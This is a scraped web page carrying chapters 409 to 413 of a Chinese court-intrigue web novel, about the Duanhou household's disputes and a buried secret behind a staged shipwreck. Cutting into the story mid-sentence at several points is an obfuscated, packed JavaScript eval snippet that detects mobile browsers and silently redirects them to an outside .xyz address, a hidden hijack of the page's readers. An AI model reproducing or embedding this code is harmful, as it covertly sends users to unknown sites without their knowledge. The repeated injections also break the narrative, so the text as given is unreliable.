这已经不是暗示了,张礼岁说的就是李玦和夏明月,在公堂上都那样了,在端侯府里还不知道怎么样呢。 就在这几天,张礼岁还听了一桩端侯府的热闹。何夫人这不是栽了么,在押送寺院清修之前还关在元京府衙,这就相当于下了大狱了。 夏明月回去之后掌了家,做的第一件事就是把端侯府里借住的那几房亲戚都给赶了出去,就连这些个亲戚的那些在端侯府和庄子上当差的子侄也一并赶了去,这其中就包括何姨母和李姑母以及他们的家眷。 或许夏明月的本意是不想把事情闹得太难看的,她给这几家都发了安家银子,可是端侯府明面上的银钱早就空了,她给一家发一千两,本就不多。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022775|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可账房连这些都拿不出来,想着这些个穷亲戚以后应该是不会再来往了,而且这些人家里也没有哪个子弟将来能有大成就,就想着不怕得罪他们了,一家给了五百两银子,就将人赶出去了。 要说五百两在如今的大恒可不算少了,普通百姓四口之家,一年的口粮也就三四粮银子,就算全吃细粮,也就六七两银子。衣食住行、看病吃药全算下来,十两至多十四五两便也够了,就算家中有子弟读书,若只是在普通的书塾读一读,这一家一年下来也就是二十两左右。 可是端侯府不是普通人家,他们原本就是高门,如今又娶了出身高门的媳妇,还马上就要袭爵了。 再有就是另外几家住在府外的亲戚还好,这李姑母和何姨母两家可不是普通亲戚,他们是在何夫人和李玦最难的时候帮过他们的,甚至说曾经生死与共都不为过,一家五百两就想打发了? 啊,呸! 李姑母的儿子当时就一口唾沫啐在了负责赶他们出来的新任管家脸上,然后指着端侯府的牌匾就把最近的那些烂事儿说了出来。 别的倒还罢了,大家都从说书匠那儿最新的话本子里听过了,他偏偏说夏明月贿赂御青书院考官的事儿,说偌大的侯府有银子干这种有辱斯文的事,却没银子安顿曾经同甘共苦的亲戚,简直没天理! 夏明月这才知道管家背着她,只给了一家五百两,还都是成色不佳的旧银。李玦知道的就更晚了,他是从楚霆孝那儿回来在门口才撞见的。 可事情已经发生了,再安抚也是无用,他们也只能将错就错,反正几家已经彻底撕破脸了,那便将错就错吧。只能将人赶了出去,之后不再往来了。 张礼岁语重心长地对李玦道:“要是闹成那样,有意思么?圣上也不能对这样的人放心啊,你说是不是?我看你不是那等一心向上的,总是想各方面都好,对不对?” 第409章张大人的秘密 有的人为了上位可以放弃一切,孑然一身,众叛亲离也在所不惜。 可有些人,也是这世上的大多数人还是希望走完这条路的同时也能妻贤子孝、家族日渐繁盛的……孙允斌至少现在还走上孤注一掷的那条路,他也犯不上。 孙允斌点头如捣蒜:“华侯功绩令小生敬仰,华侯夫妇夫唱妇随、恩爱非常,令人艳羡,小生愿为其后辈。” 张礼岁微微一笑,带了些神医地最后祝福道:“有些东西现在看着大,等将来到了跟前了,再一看不过尔尔。那一路走来,可比你从老家到元京的长,足以改变你这个人了。” “我虚长你二十岁,比你看的风景多些,没有人天生想做阴沟里的老鼠,你好歹是孙太后的后人,她老人家在世时可没做什么恶事,你顾着点她老人家的名声,总没有坏处。” “难得遇见肯提携你的人,又是个好的,这机会可得抓住。要是没遇见合适的人,宁肯在岸上站着,可千万别下去了,有些河里可是住着水鬼的。” 孙允斌若有所思的走了,张礼岁望着他的背影,忍不住感慨了一通,想他当年可就没这样的运气了。 不过,孙允斌比当年的他要通透,尤其是现在很难看到这般知道自己要什么、目标还如此实际的年轻人了,其实越是这样的人,将来越可能收获惊喜。 他叹了口气,孙允斌很聪明,明明华靖离和夏明嫣什么都不可能告诉他,可凭着他自己已经把事情梳理清楚了。只是有些久远的过往他不清楚,因此离真正的核心真相终归还是差了一步。 可是孙允斌不知道,张礼岁却是知道的,这里面有一件事别说华靖离,就是圣上和朝廷都不知道。 张家老太爷,也就是张礼岁的祖父,当年有过一个义子,这人在老家的时候因为喜欢上了张老太爷的一个妾室,弄出了一些不大好看的事儿。 最终,张老太爷宽恕了这两个人,放了他们,但要他们隐姓埋名走得远远的,再不要回来,也不要对任何人提起他们跟张家的关系。 这义子娶了那妾室为妻,之后远走南疆谋生,断了音讯。可就在二十年后,张家老爷,也就是张礼岁的父亲要被调任元京之前,那妾室一个人回来了。 这对于张家来说不是一件光彩的事,尤其是那妾室回来的时候一身孝衣,实在太显眼了,好在那天刚好张家的另一门亲戚也来报丧,才将这件事遮掩了过去。 当时张老太爷已经过世,一开始是张礼岁的母亲去问的话,一听之下,发现事情大了,立刻将丈夫、儿子叫了过去,张礼岁这才有幸知道了那件事。 原来那义子,张礼岁应该成为五叔的人,在跟那妾室离开后就伪造了籍书去南疆投军,正是投到了老端侯麾下。 这位五叔很快就成了老端侯身边的一位得力干将,可是很快,他伪造籍书的事儿被揭穿了,老端侯并没有依照律法处置他,而是以此和张家的名誉要挟他,让他为己所用,并且参与海贸之事。 这妾室当时问过自己的丈夫究竟是怎样的海贸,要用这样的手段要挟,这位五叔只让她少问,说是这海贸定然不止是给朝廷做,定然夹杂了不少端侯府的私货,知道得越少越好。 这中间一下子就过去了三年,这三年里他们总共就见过四回,最后一回她按照约定跟其他兵将的女眷一道大半夜的就开始在码头等待天明即将到达的大船靠岸,正当她们都以为就要见到自己心心念念地丈夫的时候,突然来了一伙儿黑衣蒙面之人,冲着她们不问青红皂白就是一顿乱砍。 等到她再醒来时,就已经是在老端侯的别院里了,她被告知这次同他丈夫一同出海的有二十多艘大船,回程时在远海遇上了风浪和海匪,所有的船都沉了,船上的人除了侥幸逃回来的三人,无一幸免,让她节哀。 她之前被黑衣人砍伤了背部,别院的下人告诉她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026338|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是老端侯得到刺客的消息赶忙派人营救,在**堆里发现了她,问她有没有看清是何人所为,或是那些人有没有说过什么。 去码头迎候的女眷多是普通兵士和船员的妻儿,人数众多,当时虽说是半夜天刚蒙蒙亮的时候,可大家你一言我一语的,听起来也甚是嘈杂,那些黑衣人一来更是如遇上饿狼的羊群一样乱了起来,她还没来得及细想就被砍倒在地,接着就被其他人的尸首压住了,哪里能听见、看见什么。 照顾她的人听了没说什么,反倒对她更加体贴了。刀伤失血过多,重压、踩踏又加重了伤势,她昏昏沉沉地养了大半年才好。 康复后的她一面为丈夫蒙难离世而伤痛,一面也不知该如何报答老端侯和何夫人的照顾,无处可去之下,她提出请何夫人帮忙为她寻一间庵堂修行,为老端侯、何夫人还有她死去的丈夫祈福,却被何夫人婉拒了。 令她惊讶的是,何夫人拒绝她的理由居然是让她改嫁给老端侯为妾,让她服侍老端侯。 当时她便拒绝了,甚至以死相逼,让她留在府上做杂役、粗使丫鬟都行,可为何要纳她为妾呢?她忘不了她的丈夫,与老端侯更是只见过两三面,她怎么可能嫁给老端侯。 更何况没有人比她自己更清楚,她原就是张老太爷的妾室,她嫁与她的丈夫时,已经是二嫁之妇,虽然她一直都没有生养过,可再嫁一次,她可就是三嫁了,羞都要羞死她了,她宁愿一根绳子把自己吊死都不愿意嫁。 可这事儿哪里由得了她,她连别院的门儿都没出,小轿也不曾坐过,直接就成了老端侯的妾室。 她也是从那时开始怀疑整件事的,虽然她真的做了老端侯的妾室,可是老端侯、何夫人也好,别院里的其他人也罢,似乎都更多的把她当作一块儿诱饵。 她感觉到了自己一直都被监视着,等待着一条大鱼上钩……她的丈夫就是他们想钓的那条鱼。 第410章此仇必报 这妾室在被张老太爷收房之前就是服侍笔墨文书的侍女,原就是个聪慧的,她装作什么都没有发现,只在心里思量着那一年多发生的所有的事。 终于,有两件事她可以确定,一是那场海难一定有问题,可能是天灾人祸,也可能只是人祸,但无论如何绝不可能仅仅是天灾。 再有一件,就是他丈夫没死,或是他丈夫身边跟着的随从虎叔没死,而他们当中的幸存者定然跟这场海难的秘密有关。 她甚至想到了,要么就是船队里有人跟海匪甚至邻国勾结,洗劫了船队,而他的丈夫就是与之勾结的人。 老端侯之所以纳她为妾,就是为了把她丈夫引出来,好把被劫走的东西找回来,或者能知道那伙人藏身何处也行,好向朝廷有个交代。 可是这种可能不大,先不说她的丈夫不是这样的人,就算他是,大可以把她送到府衙关押,要利用她丈夫对她的真心把人钓回来,让她在牢里吃苦受罪,岂不比让她在侯府别院锦衣玉食有效的多? 那么,就剩下第二种可能了,海南是假的,沉船也可能是假的,这一切都跟老端侯和楚、陆两家有关,那些个跟她一起在码头等候的女眷的丈夫们恐怕都已不在人世,而她的丈夫或许就是那落网的活口! 海上和南疆相隔千里,消息往来不畅,那些黑衣人原本是要将她一同灭口的,可是发现她的丈夫可能逃脱了,才又将她从**堆里翻了出来。 如果她那时已经**,她的棺椁就是饵。她活着,她整个人和他们与张家之间的纠葛就是饵。 如果她的丈夫最终还是**,或是回来之后还肯听话,张家就不必知道这一切。当时还没有惊动张家,就是因为她丈夫还没有露面,秘密这种东西,知道的人越少越好。 可要是她丈夫没死,还要把事情闹出去,那他就得想想自己能不能保住妻子和张家人的命。 张老太爷是她丈夫的义父,是她原本的丈夫、主子和教她识文断字、绘画文书的恩师,张家上下都是他们的恩人……老端侯就是要用她和张家控制住她可能生还的丈夫。 想明白了种种可能之后,她每一天都过得如履薄冰,她在无边的等待中煎熬着,却不想竟然怀了老端侯的子嗣,终于在七个月后早产生下了一个男婴。 也就是在她生产后的第五日,她死里逃生的丈夫终于出现了,原来在他失踪的这段日子里,他一直在躲避追杀,他回来就是要救她出来,然后带上张家人一道去元京面圣陈情。 那一晚,他带着她逃出了别院,可在第二天,他们就被追上了。 老端侯为了要挟他们,甚至当场摔**她刚刚生下的孩子,而她的丈夫则身受重伤,勉强护着她一起跳入江水求生。 最终,她的丈夫还是没有救回来,在临去前将那场海难的真相告诉了她,让她伪装自己也已不在人世,之后设法秘密回到张家告知一切。 她将丈夫的尸首安葬之后,用一具女尸代替了自己,伪装成了殉情的样子,又在外面躲了三年才借着张家族亲报丧的机会,换上孝服、混在丧仪队伍里回来报信。 她带回了丈夫生前写下的**和一张海藏图,那上面有宝藏真正藏匿的地方,她把这些留给了张家,当晚便因心疾气绝而亡。 张家在前朝时也是高门大族,可自大恒初年开始便逐渐败落,到了张礼岁的父亲时,族中入仕者以官不足五品,如何能与老端侯和楚相为敌。 他们只能选择隐藏这个秘密,将这妾室以府中奶娘身份葬了,海藏图与**都收入隐秘之处,等到合适之时再见天日。 夜晚,张礼岁望着夜幕中的皓月,低声自语:“这东西收的时日久了,反倒不好拿出来了。图拿出来了,东西拿不出来,万一上头恼了,火儿没出撒,不罚楚家,还得钓着端侯府,最后怪到我们张家头上,说我们知情不报可怎么办?” “这事儿不能这么办……不过,看今天这意思,华侯夫妇是要对端侯府下手了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026339|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连孙允斌那小子都看出了这中间的利益纠葛,他们夫妇只会更明白。” “他们明白,许是已经跟宫里通过气了。这兴许还真是个机会,能让我们张家把这两样东西甩出去……” 这两样东西就像一个内里烧得滚烫的碳罐,抱在怀里烫人,扔出去又怕炸着自己和无辜的人,得找个合适的时机才行。 而且他们张家也不是没有气性的,他那位五叔虽说因为娶了他祖父的妾室与张家断了关系,可那是碍于礼教,大家心里都认他是张家人。 老端侯那个老匹夫敢杀他张家的族叔,强纳他小婶儿,还敢摔死他侄儿,让他们张家担惊受怕了十余年,还有死于海难和码头之上的那些人……这仇不能不报! 这一日的热闹下来,所有人的目光都集中在了华家和端侯府身上,夏明月这边也不消停。 原本她因为掌家之权的移交不顺,就已经煎熬了一阵子,还是巧兰提醒她,要是急需用钱,还不想传出卖嫁妆的丑事,可以考虑出手之前被夏明嫣私下送回来的那两件贺礼。 她这才想起来还有这档子事儿,那两样东西原是侯府库房里的物件,是由李玦自己挑了送到钩翊侯府的,后来又由夏明嫣私下退回。 这件事现在除了她和巧兰还有夏明嫣和华靖离本人,根本没人知道,而华靖离和夏明嫣既然把东西私下还了她,就是不会去计较这种事的。 她只要把这两样东西卖了,凭白得了一大笔钱财,不仅这几年端侯府的花销都有了,就连将来李玦想要重建李家军,也能抵充一部分。 卖嫁妆传出去不好听,显得他们日子过不下去了似的,也会让人觉得他们实力不济,更加不肯跟他们走得近了。 卖这两件宝物就不一样了,她完全可以偷偷地把东西卖出去,回头一点一点拿出来花,再说是楚氏给她的私房银子也成。 既全了她自己的脸面,还能让李玦感激她,说不定就把这些日子的不快都埋了呢? 第411章他真蠢! 夏明月想得很好,她让巧兰去找了买家,那人说是东边来的客商,拿了东西打算卖到外头去。这么以来,卖自家珍藏这种事儿就不容易露馅儿,夏明月这边也好交代。 夏明月便把那匣子彩宝留了下来,把那把名匠打制的宝刀给卖了,足足卖了十万两银子! 今日夏明月一大早就拿到了银票,李玦出门时又说他有法子逼得华靖离不得不答应为他去北疆的事修桥铺路,想着马上就能双喜临门了,她这一天的心情都很好。 可是还没到晌午,事情就变了,满大街都是去看热闹的人,端侯府自然也得了消息,她很快就知道事情不仅不顺利,李玦还在全城人面前出了大丑了。 府里的小厮来来**地将消息传了回来,夏明月焦躁地踱着步,恨不得把地磨掉一层皮。 终于,李玦垂头丧气地回来了,小厮传回来的消息先一步进门,夏明月已经知道华靖离让李玦自己去应考了。 李玦一进来,夏明月就像府里着了火一样叫了起来:“你也太沉不住气了,早上你说你有法子拿住华侯,原来就是这法子?他有没有孩子,那也不是眼下就能验证得了的。” “这世上原本生不出孩子的多了,治一治,养上几年说不定就有了,这哪儿有说得准的。那个孙允斌才刚进华家,打听出来的事儿还做不得准。我跟你说那些,不过让你知道他在做事了,你还当真了。” 没有比夏明月更确信华靖离不会有子嗣,上辈子华靖离纳了六房妾室都没生出来,这一世有夏明嫣这个假大度在,他能生得出来? 可是生不出来自己的孩子,并不意味着不能过继。华靖离是个公心很重的人,要是上一世他死得不是那么突然,后面一定也会过继子嗣。 过继的和亲生的在礼法上是一样的,即便公然说出这件事,也未必就能刺痛人家两口子。 要说身子实际上没完全治好,欺瞒了圣上,这件事要当作把柄拿捏华靖离,也只能私下说。 在大庭广众之下抖落个干净,就算坐实了,传得到处都是,圣上会怎么想? 要是圣上一早就知道,那就是跟华靖离有了默契了。要是连圣上都不知道,人家会不会想他都不知道的事儿,你端侯府是怎么知道的? 要是之前还没跟华靖离闹翻的时候,还能说是华靖离私下告诉他。现在闹翻了,即便的确这话之前是华靖离亲口说的,从他们口中说出来,这话也不可信了,像是在诋毁似的。 夏明月平时仗着有楚氏和夏庸帮她兜底,做事粗糙了些,可在这事儿上是想得明白的。 要用这件事,不是不行,可是要再核实得更清楚些,多找些证据出来,她知道这事儿是真的没用,得有证据让圣上和世人知道才行。另外,说出去的时机得把握好,总之现在不行。 可谁能想到,一向办事比她稳重的李玦,居然会当众这么做,华靖离和夏明嫣竟然还把全城的郎中都找了去,也不怕诊出点儿别的问题来,让所有人都看了笑话! 李玦被华靖离和夏明嫣气得头晕脑胀,坐在那儿不说话,他现在只想缓口气,自己静一静。可他一会儿还有话要交代夏明月,现在就不得不忍耐她的抱怨。 夏明月以为李玦已经自认理亏了,数落起来更加带劲儿了,“你还说我做事**躁,你就不毛躁了?不说别的,这蛊医眼看着就要起复了,张大人把话说一说,就等于宣了旨了,那些个医者哪个还敢不迁就他们?” 李玦从烦躁转为不满,她现在都敢这么数落他了?纵使他现在浑身乏力,一点劲儿都提不起来,也猛地提高了声音: “是他们先叫人诊的脉,张大人后宣的口谕,你当我分不清先后,是个傻子么?你懂什么?就是你那个姐姐,都知道她自己是个妇道人家,知道什么话是女子该说的。” “怎么,现在嫌弃我了?你是不是早就想娶我长姐了?呵,要不是看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028119|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在我外祖父的面子上,你是不是根本不想换亲?” 夏明月也像点着了的炮仗似的,嘭地一声就炸了,这些问题她怀疑了两世,上辈子她就想问了。 那时候李玦说无论是夏明嫣还是邓澜和何雨萍都是他手里的棋子,是帮他管理端侯府和做那些见不得光的脏事儿的工具。 可她也想过,要是一个女人能把那些事儿都做妥帖了,时间长了,他是不是也会感念那是一个贤内助,从而离不开这个女人了呢? 毕竟这世上像他们曾经那样爱得轰轰烈烈的人不多,大部分的夫妻和男女之间都是细水长流的,他会不会那时候也对夏明嫣动过心?要不然,他为何不把何雨萍扶正了,而是扶正了夏明嫣? 尤其是这辈子她亲眼目睹了他是如何跟何雨萍相处了之后,说是纳何雨萍做贵妾是为了拉拢何家,说是他跟何雨萍彼此之间都没什么,呸,根本不是这么一回事儿。 他跟何雨萍分明也很和美,他们之间的感觉至少能跟夏庸和楚氏媲美。夏明嫣上辈子还陪他去了南疆,一起出生入死呢,那他对夏明嫣岂不是更有感情? “还说我不懂,是,我不懂医术,不像她夏明嫣,四个女师盯着还能让她学了蛊医去,还学得那么好,竟然把华靖离给治好了。” “可我懂杏林的规矩,这杏林就跟你们的朝堂和江湖一样,都是分门派的,那些个厉害的门派和人物,到哪儿别人都得给他们几分颜面。他们就算有人诊错了病症,或是犯了别的错了,其他人看在他们门派的面子上,也会帮忙遮掩。” “你以为张大人是后宣的旨,你怎么知道我那好长姐有没有提前跟那些医者通过信儿?要不你自己想想,那些医者里派出来说话的,是不是齐大娘子或是她的丈夫王老太医?” “……” 李玦一口气差点没上来,当时站出来说华靖离康复得很好的人,不正是王老太医吗?他果然蠢透了! 第412章乌鸦别笑猪黑 王老太医退宫前曾任太医院医正,是良医中的泰斗,退宫之后在元京开了医馆,口碑极佳,元京其他流派的医者也都对他心服口服。 华靖离在民间口碑甚佳,那些个医者又都以王老太医马首是瞻,即便他们的看法跟王老太医有些偏差,只要王老太医出面,谁面上还不是得过且过的? 尤其现在是他李玦找华靖离的茬儿,可明眼人都知道华靖离占着上风,这些人就更不会帮他说话了。 当时那些个医者请脉之后都跟王老太医商量了一下,最后才由他说出了大家的意见,这王老太医又刚好是齐大娘子的丈夫,而齐大娘子又是夏明嫣生母杨氏的手帕交……那可不就得说华靖离康复了么? 李玦狠命地拍了自己脑门儿两巴掌,现在去解释已经晚了,别人只会说他当时怎么没想到? 不过这些事儿要是李玦自己想明白的没什么,可这是被夏明月点破的就不行了,他在外面被华靖离欺负也就罢了,回了府还得被夏明月瞧不起。 这还别说还有他那个大姨子夏明嫣,谁能想到一个卢阳长大的野丫头居然这般厉害,他瞧着她那副维护华靖离还应对自如的样子就不得劲儿。 要不是换亲,夏明嫣就是他的贵妾了,现在白白给华靖离送了一个帮手,而他自己的妻子夏明月却半点贤内助的样子都没有,像是生来就是来气他的! 李玦忍着怒气,冷声道:“你现在说这些有什么用?做事只会马后炮,消息是你带回来的,那孙允斌才刚来元京、刚进华家,他懂什么?你不一样,你不了解华靖离,还连你长姐都不了解了?” “这孙允斌的消息未必准确,还需要区分、验证,你呢,说得那般笃定,像是已经确定过了似的。要不是你误导我,我怎么会在大庭广众之下质问他?” 是啊,其实仔细回想起来,孙允斌那日被她逗得脸都红了,说话吞吞吐吐的,明显他也并非十拿九稳,只是刚刚跟着李玦做事,不得不早些拿个消息出来交差罢了。 夏明月当时就清楚这一点,是她自己前世的记忆给那条消息增加了可信度,她才会如此自信地告诉李玦的。 她心里一慌,她现在也不是刚重生时候的树下阿蒙了,她也明白上辈子华靖离身子一直没好这事儿从来就没有挑明过,很多事儿在暗中利用和放在明处是两码事儿。 她跟李玦平时吵归吵,可是李玦还是相信她的,这一回她的话可能真的给了李玦错觉…… 可是明白是一回事,嘴上怎么说又是另一回事,夏明月才不会承认是她自己的错呢: “孙允斌之前不认识华侯和我长姐,难道我就认识他孙允斌了?他一个门客,还是男子,我说我不方便见他,还第一次见就是去接消息的,还不是你非让我去的。” “你但是说什么来着,你说,他孙允斌毕竟出身后族,是有傲气、讲脸面的,你跟他谈,太公事公办反而不好。你说我去,他见了女子面皮儿薄,反而好说话。” “李玦啊李玦,别以为我不知道外面的人都说你是攀着女子的裙带往上爬的,你现在居然要把你的裙带送出去拉拢你的门客,你还要脸吗?” 李玦之所以重视孙允斌,不仅因为看出了这个人有潜力,更不是听了夏明月那些笃定的判断,还有一个重要原因就是他出身后族。 先太后是当今圣上的生母,当今圣上为了打压外戚将孙氏一族几乎赶出了元京,可是先太后一样是太子谢维的亲祖母,若是没有先太后,谢维别说当太子了,以当年的情况来看,能不能活下来都不好说。 谢维对先太后和孙氏一族感情甚深,如今太子妃之位虚悬,据说就是等着圣上松口,好在孙氏一族寻一位表姑娘娶进门呢。 如今圣上年纪大了,龙体更是每况愈下,这一年多来都没上几次朝了,想来谢维登基也不过这十年之中的事。拉拢孙氏一族,无疑提前下注,能在谢维面前搏上几分好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034264|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感。 孙允斌虽然只是孙氏旁支子弟,可现在孙氏一族衰微,男子还没见有哪个出头的,就算孙允斌没有十分的人才,矮子里拔高个儿能出头也行,到时候他就代表了孙氏一族。 等到孙允斌跟他们端侯府的羁绊足够深了,他就把他举荐给谢维,说到底还是他们端侯府的人,将来一定能派上用场…… 李玦正是有了这样的想法才肯拿夏明月下血本,这些因由要是放在平时倒是真可以说道说道,可今日他要是说了,那边又成了他攀附先太后这根裙带的铁证了。 他气急败坏地道:“你以为我就愿意么?可你也说了,这孙允斌并非池中之物,将来是要出将入相的。你说你不去,咱们如今能拿什么笼络住他?” “你说他不靠着华二姑娘和你长姐进华家,他又有什么法子?他一个老家来的读书人,清清白白的,为了前程都能舍了自己。” “你我所求甚大,早就不清白了,还有什么资格奢求脸面?你若是想要好名声,从此以后再不参与便是了。不过你也别忘了,凡事都讲究一个**行赏,将来你别怪我……” 要不是夏、楚两家知道他们端侯府的根底,当年根本就不会定下这门亲事,夏明月再不懂事,从小到大一直在夏家长大,她也不可能什么都不知道。 夏明月不是那等只要有情就能吃糠咽菜的人,她既要感情,也要权势富贵。既然大家都有所图,乌鸦就别笑猪黑。 无论是看在夏、楚两家的面子上,还是对夏明月还有感情,李玦都做不出和离或休妻的事,可是他也不得不提醒夏明月当中的厉害。 要是将来类似何雨萍之类的人出力比她多,将来等他封王拜相之时,谁做他的正妻可就不好说了。 李玦对自己很自信,再过十年,楚霆孝和夏庸他们都老了,这两家又没有太出挑的子弟,还不是得他说了算?夏明月就是为了以后着想,都得对他保有足够的敬慕。 第413章夫妻起嫌隙 “将来?先有将来再说吧,你先试试,离了楚家和夏家,你还能不能走到将来!” 夏明月实在没忍住,一嗓子喊了出来,成婚前她把这条路想得太好走了,之后她才发现想象中的东西和现实里的相差实在太远了。 就好比袭爵,原想着趁着成婚,她外祖父和父亲都帮着说几句话,这事儿就成了,谁知道到了现在连爵位的影子都没看到。 还有御青书院那件事,她后来想了又想,她是不该因为嫉恨把华靖和扯进来,可最终事情没成,还得归咎于李玦自己才学不足和立场含混不清。 要是他在公堂上能当机立断地跟何夫人划清界限,要是他的才学里水分没那么多,他硬撑到最后,也未必就不能入选。往届被选上了的,何尝没有那些家里不清净的,关键还是他这个人不行。 要不是她知道李玦能笑道最后,她又他遇见过的男子里最得他心意的,她现在恐怕就要后悔了。 她到底还是收敛了些脾气,“我看那个孙允斌面皮薄的很,做不来那种事,再说了她夏明嫣也不是那种人,你还真以为这孙允斌能做了她的入幕之宾?” “你信不信,我这好长姐对你曾经的好义兄动了真心了,再说了,就算她被冷落了,她也做不出那种事。她跟孙允斌最多就是畅谈一些诗文、风物,不信的话,你下次亲口问问他,是不是这么回事?” “这女子和男子要是没有那一层关系,是不会把隐秘的事告诉他的。何况……总之我这个长姐是个谨慎的人,她不会跟别的男子怎样的。” 上一世夏明嫣在端侯府的日子过得也很苦,可是在何夫人和邓澜都过世了之后,端侯府里就由她说了算了。 那时候夏明月跟孙允斌的私情已经结束了,她也想过让孙允斌去借机夏明嫣,在夏明嫣和李玦之间下蛆,可是孙允斌表现得很排斥,据说夏明嫣见了他也没什么反应,还让人送了两幅山水画给他……就这样的两个人之间能亲密到哪儿去? 夏明月可不敢跟李玦说这些,她只能从她对夏明嫣的了解上说,可她这一回是真的斟酌好了才说的。 让孙允斌在钩翊侯府混下去,说是浪费光阴都是轻的,万一被华靖离和夏明嫣拉拢了过去,那可就变成了舍得了孩子还把狼丢了。 倒不如把孙允斌带出来,想想法子安排他去接近东宫,上一世他就是从东宫属官开始步步高升的。 这一世华靖离已经开始接近谢维了,谢维也对华靖离改观了许多,得让孙允斌这边抓紧才行,不用经历后面的事了,直接就去东宫应招,这样也省得后面再有什么变化。 李玦却皱了眉,猛地来了一句:“没想到,你对姨姐的评价这么高。我还以为你一直瞧不起她,不会说她什么好话。” “你什么意思?难道你想说当初就该娶她,不该娶我?好啊,我一心为你着想,为了你换婚,违逆父母之命,你就是这样想的?” 夏明嫣恼怒地道,她最近是真的担心李玦会后悔了,到了现在,她也不得不承认,要是换了夏明嫣,至少现在端侯府能被打理得井井有条。 可是大丈夫志在四方,李玦最终要的还是成大事,那就还得靠她和她背后的势力,那就还是得娶她。 李玦原本还真没想到这些,他就是单纯地感慨了一句,夏明月这个人其实不是只看不上夏明嫣一个,她是除了少数的几个人之外,谁都看不上,就连她的胞弟她都看不上。 他的确为娶了夏明月这个人后悔过,可加上楚家和夏家的势力,他就不后悔了,刚才真的只是出于好奇,没想到遭了她这么一通埋怨。 可发生了之前的事,无论他下一步还能不能去北疆,他都更需要楚、夏两家的帮助了,这种时候绝不能刺激了夏明月,让她回娘家抱怨。 他只能压着火道:“我没这么想……我是说现在也没有旁的用到他的地方,让他在钩翊侯府待一待,好歹是个历练,还能探听些消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034265|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “让他出来,他能干什么?难不成也去北疆投军?你看他那副细胳膊细腿的样子,人家能要他才怪了。” 李玦武艺上一般,好歹还练过一些,孙允斌完全就是一个书生,而且李玦现在能把自己弄去北疆就不错了,实在不方便再带其他人去了。 “元京这么多人,你也不能只盯着华家不放啊,也得试试别的人家。华侯这儿指望不上了,你找了其他路子,也一样要去北疆的对吧?” “我看不如这样,你把这位孙公子留给我,先让他帮着打理一下侯府的庶务。你要去北疆,也要用银子,刚好让他来一起想想办法。” “这中间,要是哪个衙门有征召的机会,我就回家去想想法子,帮他安排一二。说不准等你从北疆回来的时候,他就已经有所作为了,能帮上你了呢。” 夏明月想了想,尽量不提东宫和谢维,只说要把孙允斌从华家弄出来另外找机会谋个差事。 李玦把孙允斌安排进华家的时候,根本就没提前跟她商量,上辈子孙允斌进华家家庙是为了见她,这辈子她都没进华家的门,孙允斌根本就没必要去华家。 